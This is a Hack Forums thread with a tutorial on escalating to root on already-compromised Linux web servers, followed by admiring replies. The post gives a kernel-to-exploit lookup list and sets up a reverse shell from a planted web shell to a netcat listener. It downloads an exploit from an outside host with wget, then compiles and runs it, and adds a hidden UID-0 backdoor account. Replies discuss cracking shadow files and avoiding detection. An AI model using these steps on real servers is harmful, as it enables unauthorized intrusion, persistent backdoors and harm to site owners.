

Forum:[Hack Forums](#)

Thread: [Rooting Tutorial and Adding New Root User \[NOOB FRIENDLY\] \[PICTURES\]](#)

HaxOr? - May 14, 2012, 11:19 am

Hello all and welcome to a tutorial on how to root a linux server.

This is going to be short,HQ tutorial with pictures included (For better learning)

So let's start with things you will need:

- 1) Shelled website
- 2) Local root exploit
- 3) NetCat

Chapter 1 - Gathering informations

Open up your .php shell on a hacked webserver.

I have mine for an example

Spoiler ([Click to View](#))[img]http://img339.imageshack.us/img339/3933/regionam.png[/img]

Now you need to check what kernel your victim is using...

It should be something like

Code Linux hosting.net 2.6.18-1.2257.fc5smp #1 SMP Date time 2006 i686

Next thing you wanna do is to look for an local root exploit.

From example provided mine one is 2.6.18 2006

Here's the list of exploits

Code 2.2 -> ptrace

2.4.17 -> newlocal, kmod, uselib24

2.4.18 -> brk, brk2, newlocal, kmod

2.4.19 -> brk, brk2, newlocal, kmod

2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2

2.4.21 -> brk, brk2, ptrace, ptrace-kmod

2.4.22 -> brk, brk2, ptrace, ptrace-kmod

2.4.22-10 -> loginx

2.4.23 -> mremap_pte

2.4.24 -> mremap_pte, uselib24

2.4.25-1 -> uselib24

2.4.27 -> uselib24

2.6.2 -> mremap_pte, krad, h00lyshit

2.6.5 -> krad, krad2, h00lyshit

2.6.6 -> krad, krad2, h00lyshit

2.6.7 -> krad, krad2, h00lyshit

2.6.8 -> krad, krad2, h00lyshit

2.6.8-5 -> krad2, h00lyshit

2.6.9 -> krad, krad2, h00lyshit

2.6.9-34 -> r00t, h00lyshit

2.6.10 -> krad, krad2, h00lyshit

2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
2.6.23 - 2.6.24 -> diane_lane_**_hard.c
2.6.17 - 2.6.24-1 -> jessica_biel_naked_in_my_bed.c
Now when you confirmed your exploit it's time to find it...
Google is your best friend and this site here...
<http://localroot.th3-Outl4ws.com/> It does have many exploits.

NOTE: If your webserver have 2.6.18 2011 kernel, then you have 0.0001% chances that you will root it, because there's no public exploit for that version.

Chapter 2 - Backconnecting to the server

For this you will need:

- 1) NetCat
- 2) Open port (Example. 443 I won't teach how to port forward, use Google if you don't know how!!)

So open your netcat and type:

Code -l -vv -p 433
Hit "Enter"

Now it should write "listening on [any] 443 ..."
Good.

[img]http://img843.imageshack.us/img843/527/regiongf.png[/img]

Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".

[img]http://img820.imageshack.us/img820/3856/regionss.png[/img]

Now it should connect to your netcat
I got something like this:

[img]http://img195.imageshack.us/img195/9016/regionrs.png[/img]

Chapter 3 - Downloading exploit and executing it

Now we will need our exploit from Chapter 1
There's 2 way of uploading:

- 1) Using shell uploader
- 2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one <http://localroot.th3-Outl4ws.com/xploits/2.6.18-164.zip>) and go back to your netcat and type:

Code `wget http://localroot.th3-Outl4ws.com/xploits/2.6.18-164.zip`
Now it downloaded out exploit named "2.6.18-164.zip" on our server.

[img]http://img96.imageshack.us/img96/2293/regionv.png[/img]

NOTE:

Spoiler ([Click to View](#))

If your exploit is downloaded as anyrandomname.c you must compile it

Code `gcc anyrandomname.c -o anyrandomname`
And our exploit is compiled. (If you get errors when compiling then find another exploit)

If you downloaded your exploit in zip file anyrandomname.zip type:

Code `unzip anyrandomname.zip`
[img]http://img864.imageshack.us/img864/1460/regionyq.png[/img]

Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

Code `chmod 777 yourexploitsname`
With common sense where i typed "yourexploitsname" you will type your exploits name.

And one last final step is to run our exploit

Code `./yourexploit'sname`
To check if you got root type

Code `id`
or

Code `whoami`
Mine steps to root

[img]http://img268.imageshack.us/img268/8457/commandpromptnclvvp433.png[/img]

Chapter 4 - Adding root user

Adding new root user is fairly easy
We use this command:

Code `adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2`
Command explanations:

Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:

0 = root

1 = bin

2 = daemon

3 = sys

4 = adm

6 = disk

10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.

NOTE: Change root2 to your desired username.

Now you need to set a password for your username.

Type in next:

Code passwd Root2

(Root2 is your username)

See an example

Code [root@fedora ~]# passwd root2

Changing password for user root2.

New UNIX password:

Retype new UNIX password:

passwd: all authentication tokens updated successfully.

To check if you did alright

Code id root2

(Root2 is your username)

[img]http://images.devs-on.net/Image/LEoszc56Wjqoepl-CWINDOWSystem32.png[/img]

All programs/sites i used:

GNy shell - <http://www.theopenmic.net/picts/gny.txt>

Google - <http://google.com>

NetCat - <http://downloadnetcat.com/nc11nt.zip>

So that concluded our rooting tutorial.

I hope that someone will learn from this and that this thread will be bookmarked for generations. ?

Numinous - May 14, 2012, 11:20 am

Nice tut bro

Awesome

Simply and Rocks as usual

Gud luck bro

gerardoxd - May 14, 2012, 11:27 am

excellent tutorial

I will try on a server that I have a shell up

conan_1 - May 14, 2012, 12:49 pm

As I say always, Haxor you're making great tuts, nice shot and even knowing that I'll bookmark it :D
Hope seeing more great tuts, some difficult ones ;)

Hooded Robin - May 14, 2012, 4:13 pm

Its even better than the original thread with the new console colors you have :p

xXWraithXx - May 14, 2012, 4:13 pm

I love this! So I can totally vouch for it as well! Thanks So much!!

HeXagone - May 14, 2012, 4:19 pm

Love this tutorial :) But where the hell you will find again a 2006 kernel loooool

Bookmarked :)

dawnofwar - May 14, 2012, 4:48 pm

Nice tutorial man, nicely written, easy to understand, and not a shitty layout!!! I hate those threads that use high class layouts but you can't even read the text and they are used for tutorials =/

Do you need to portforward to be able to do this?

It is impossible to portforward my router, but I can get ports on my VPN forwarded if that will work??

BeggFoMercy - May 14, 2012, 5:04 pm

I wonder how do u make ur console's color blue ;)

-DownFall - May 14, 2012, 5:12 pm

(May 14, 2012 05:04 PM)BeggFoMercy Wrote: [\[CITE\]](#) I wonder how do u make ur console's color blue ;)

Code color 10

Lol it looks better with a black background and lime green text c:

torque59 - May 14, 2012, 7:22 pm

Excellent tut explained beautifully

sl4sh3rz - May 14, 2012, 9:27 pm

its so easy to root but its so hard to upload shell hahahahaha

Suved - May 14, 2012, 10:14 pm

awesome tutorial.

This tutorial helped me a lot.

thanks for tutorial.

HaxOr? - May 15, 2012, 3:56 am

(May 14, 2012 09:27 PM)sl4sh3rz Wrote: [\[CITE\]](#) its so easy to root but its so hard to upload shell hahahahaha

Uploading shells is even more easy!

If you need any help PM me. :)

@All

Thanks for the feedback guys <3

And this is how you change your CMD colors:

[img]http://img405.imageshack.us/img405/1029/regionud.png[/img]
[img]http://img401.imageshack.us/img401/5980/regionbg.png[/img]

sumit2531 - May 15, 2012, 5:12 am

Great TuT...!!

Simple and well explained...)

Thanks for sharing this...!! :D

HaxOr? - May 15, 2012, 1:18 pm

(May 15, 2012 05:12 AM)sumit2531 Wrote: [\[CITE\]](#) Great TuT...!!

Simple and well explained...)

Thanks for sharing this...!! :D

Thank you for your feedback sumit! ?

?Victory - May 15, 2012, 1:35 pm

HQ Tutorial ... but still Some Servers are updated every week ... For me I Bypass the Shadow file, crack the password, Login ^.^

Peace a Cake

brosef - May 15, 2012, 3:44 pm

This is a pretty nice tutorial.

[img]http://www.memecreator.com/static/images/templates/30918.jpg[/img]
>mfw GNY is still being used...

HaxOr? - May 18, 2012, 4:35 am

(May 15, 2012 01:35 PM)victory2u Wrote: [\[CITE\]](#) HQ Tutorial ... but still Some Servers are updated every week ... For me I Bypass the Shadow file, crack the password, Login ^.^

Peace a Cake

Thanks.

Nice method you have there. :)

(May 15, 2012 03:44 PM)brosef Wrote: [\[CITE\]](#) This is a pretty nice tutorial.

[img]http://www.memecreator.com/static/images/templates/30918.jpg[/img]
>mfw GNY is still being used...
Thanks brosef! ?

?mnipotent - May 18, 2012, 7:30 am

Wow nice tutorial this is definitely going to help me out! Nice job!

?witch - May 18, 2012, 10:07 am

Great tutorial, rooting is like the golden goose as far as im concerned. After getting root i get lazy

though. YAY FOR SCRIPS I WROTE

ntoskrnl.exe - May 18, 2012, 10:02 pm

Thank you again!

(Hvala ti ponovo!)

SIM-111414 - May 18, 2012, 10:32 pm

Very Nice and HQ TUT.

Thanks for sharing.

Really information for rooting a host.

HaxOr? - June 3, 2012, 2:08 pm

Thanks for the support guys!!

I appreciate it.

Root. - June 3, 2012, 2:15 pm

Nice tutorial! But you forgot a "r" at "Downloading exploit and executing it" Where you check if you got root. Thank you @OP

Regards,

-Root.

Ichi - June 3, 2012, 3:39 pm

This is the best root tutorial ever. Helped me out bunches when I first read it a while back.

Thanks for this

Th3PonyWizard - June 3, 2012, 4:42 pm

Nice tutorial! I really want to get that piece of software running, but I can't seem to get my ports port-forwarded :<

(May 15, 2012 01:35 PM)V????????? Wrote: [\[CITE\]](#) HQ Tutorial ... but still Some Servers are updated every week ... For me I Bypass the Shadow file, crack the password, Login ^.^

Peace a CakeThe shadow file will always be protected at some sort of way and inaccessible towards the usergroup of the site (As if the site uses a separate unix user for the whole /www/ thingie). Mind telling me your tricks?~

anonbux0 - June 3, 2012, 5:17 pm

Very Nice !.

Thanks for sharing. ?

But then How you find the panel to login with your root login?

You can view the login , for example, www.site.com/admin or www.site.com/cpanel , www.site.com/phpmyadmin/ in your shell uploaded?

HaxOr? - June 3, 2012, 5:21 pm

(Jun 3, 2012 05:17 PM)anonbux0 Wrote: [\[CITE\]](#) Very Nice !.

Thanks for sharing. ?

But then How you find the panel to login with your root login?

You can view the login , for example, www.site.com/admin or www.site.com/cpanel , www.site.com/phpmyadmin/ in your shell uploaded?

You login with Putty.

Thanks all!
I appreciate it.

anonbux0 - June 3, 2012, 5:26 pm

(Jun 3, 2012 05:21 PM)?? ? x O r ? Wrote: [\[CITE\]](#) You login with Putty.

Thanks all!
I appreciate it.
But this is in cmd .. i want to open in web browser, because i want to change some files ..

Is possible?

(Jun 3, 2012 05:21 PM)?? ? x O r ? Wrote: [\[CITE\]](#) You login with Putty.

Thanks all!
I appreciate it.
But this is in cmd .. i want to open in web browser, because i want to change some files ..

Is possible?

Crysan - June 3, 2012, 5:35 pm

I allready know how to do it since 2 years, but it's really good and HQ for beginners.
Well a really good tutorial, you are very usefull for this section haha :).

CamIce - June 26, 2012, 3:37 pm

Hey!
Great tutorial!
I only got one problem with backconnect. I am using c100 shell from sh3ll.org/c100.txt
And I can't backconnect.
I used my bro's comp bcause I got some problems with my os.
Anyway, my netcat could not connect to the shell. Do you know hwat am I doing wrong?

And the port you have to use, must be opened in both, website and you comp, or?

HaxOr? - June 26, 2012, 3:40 pm

(Jun 26, 2012 03:37 PM)CamIce Wrote: [\[CITE\]](#) Hey!
Great tutorial!
I only got one problem with backconnect. I am using c100 shell from sh3ll.org/c100.txt
And I can't backconnect.
I used my bro's comp bcause I got some problems with my os.
Anyway, my netcat could not connect to the shell. Do you know hwat am I doing wrong?

And the port you have to use, must be opened in both, website and you comp, or?
You must have your port open.
Just port forward it. :)

CamIce - June 26, 2012, 3:51 pm

I have my ports open. I've checked it with yougetsignal.com, and the port I used was open.

zeppelin - June 26, 2012, 4:17 pm

Nice tutorial but why only stick to kernel exploits? majority of the time they either contain false code/need configuring or simply don't work because they're outdated. Come to think of it I have never had one public kernel exploit work for me (priv8 exploits are another story).

cyber_zone - July 3, 2012, 9:34 pm

nice tutorial bro

good one and the best one

Lane_Stalker - July 4, 2012, 12:37 am

nice tut..

35 35 35 35 35 35 35 35 35 35 35 35 3

Prominent - July 4, 2012, 6:24 am

Wait, wait wait.. How the hell didn't I see this?._.

Great job babe <3

Crysan - July 4, 2012, 6:35 am

(Jul 4, 2012 06:24 AM)Prominent Wrote: [\[CITE\]](#) Wait, wait wait.. How the hell didn't I see this?._.

Great job babe <3

Because this thread is 1 month old ? :P

Phizo - July 4, 2012, 6:40 am

Nice tutorial, ?? ? x O r ?. You rarely see many tutorial on rooting...at least HQ ones anyway.

Pudge the Butcher - November 29, 2012, 3:09 am

sh: /usr/bin/gcc: Permission denied it comes when i try to compile it . do you know any solution how to compile our exploits.c

commend : gcc 2.3.18.2012.c -o 2.3.18.2012

HELP

Over Dose - December 5, 2012, 10:32 pm

Thank you for this sir just what I was looking for.

Noah™ - December 5, 2012, 11:03 pm

awsome tutorial bro, i am bookmarking this! thanks!

-Team

Phizo - December 5, 2012, 11:57 pm

(Nov 29, 2012 04:09 AM)-P2- Wrote: [\[CITE\]](#) sh: /usr/bin/gcc: Permission denied it comes when i try to compile it . do you know any solution how to compile our exploits.c

commend : gcc 2.3.18.2012.c -o 2.3.18.2012

HELP

Compile it on your own box.

I thought BitRoot consisted of nothing but pro gibson hackers?

rcvrcv - December 6, 2012, 7:41 am

Nothing new here, rooting 2006 kernels yawn. Nice tutorial regardless, good to teach these things.

Nexusus - October 30, 2013, 8:09 am

Great Tutorial friend,
keep up the good job :)

robinarthur - December 17, 2013, 1:37 am

Thank you, fantastic tut bookmarked :)

hoer- - December 17, 2013, 2:43 am

This is NOT a great tutorial, firstly he back-connects with port 443 (Hypertext Transfer Protocol over TLS/SSL) most likely it will be in use. Don't use any port under 1024.

ALSO don't make a new account, best way to get caught.

I realize this is old and OP probably isn't a stupid now, but still.

oxon - May 10, 2015, 3:34 am

simply awesome and nice sharing bro

abc333 - May 10, 2015, 5:23 am

thanks for your great tutorial I will use this

#Skyline - May 10, 2015, 8:04 am

Very nice tutorial.
Good work OP.

Zeroxal - May 12, 2015, 8:17 am

I am not trying to be a douchebag, but rethink your grammar in your title.
It should be "RE-WRITTEN"

Pak spider - May 12, 2015, 9:14 am

thanks for the lovely and educational tutorial :D

BenkaTv - May 12, 2015, 12:13 pm

that is cool!

- i will try this later at the week!

spradebassen - May 12, 2015, 12:14 pm

you should consider making an introduction to what rooting is, so people know what they're learning about.

i dont have a damn clue.

HaxOr? - May 13, 2015, 4:49 am

(May 12, 2015 12:14 PM)Eworu Wrote: [\[CITE\]](#) you should consider making an introduction to what rooting is, so people know what they're learning about.

i dont have a damn clue.

Rooting means escalating your privileges from a normal user to "super user" root. :)

MNZK0406 - May 23, 2015, 10:27 am

thanks man this is an good tutorial imma save it for future !

